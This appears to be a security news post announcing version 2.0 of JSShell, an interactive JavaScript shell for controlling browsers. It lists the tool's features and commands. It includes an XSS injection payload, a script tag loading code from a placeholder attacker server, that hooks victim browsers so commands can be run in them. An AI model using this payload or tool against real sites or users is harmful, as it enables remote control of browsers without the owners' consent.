Exploitation / Web Exploitation

JSShell v2.0 Releases: An interactive multi-user web JS shell

by do son · Published December 17, 2018 · Updated December 17, 2018

JSShell

An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).

Version 2.0 is created entirely from scratch, introducing new exciting features, stability and maintainability.

Features

Multi-client support
Cyclic DOM objects support
Pre-flight scripts
Command Queue & Context
Extensible with Plugins
Injectable via <script> tags
Dumping command output to file
Shell pagination

Changelog v2.0

A whole new release introducing docker deployment and a complete code re-write.

Usage

The shell interface contains various commands (can be revealed using the help command).

     ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  

     ║╚═╗└─┐├─┤├┤ │  │  

    ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     

        by @Daniel_Abeles

    

>> help



Documented commands (type help <topic>):



General Commands

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edit                Edit a file in a text editor

help                List available commands or provide detailed help for a specific command

history             View, run, edit, save, or clear previously entered commands

ipy                 Enter an interactive IPython shell

py                  Invoke Python command or shell

quit                Exit this application



Shell Based Operations

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back                Un-select the current selected client

clients             List and control the clients that have registered to our system

commands            Show the executed commands on the selected client

dump                Dumps a command to the disk

execute             Execute commands on the selected client

select              Select a client as the current client

Flow

JSShell supports 2 methods of operation:

Injectable Shell (similar to the BeeF framework)
Hosted Shell (for debugging)

Injectable Shell

Similar to other XSS control frameworks (like BeeF), JSShell is capable of managing successful XSS exploitations. In an example, if you can inject a script tag, inject the following resource to your payload, and a new client will appear in your console:

<script src=”http://{YOUR_SERVER_IP}:{PORT}/content/js”></script>

Hosted Shell

If you desire to debug exotic and esoteric browsers, you can simply navigate to http://{YOUR_SERVER_IP}:{PORT}/ and a new client will pop up into your JSShell CLI client. Now it is debuggable via our JSShell console.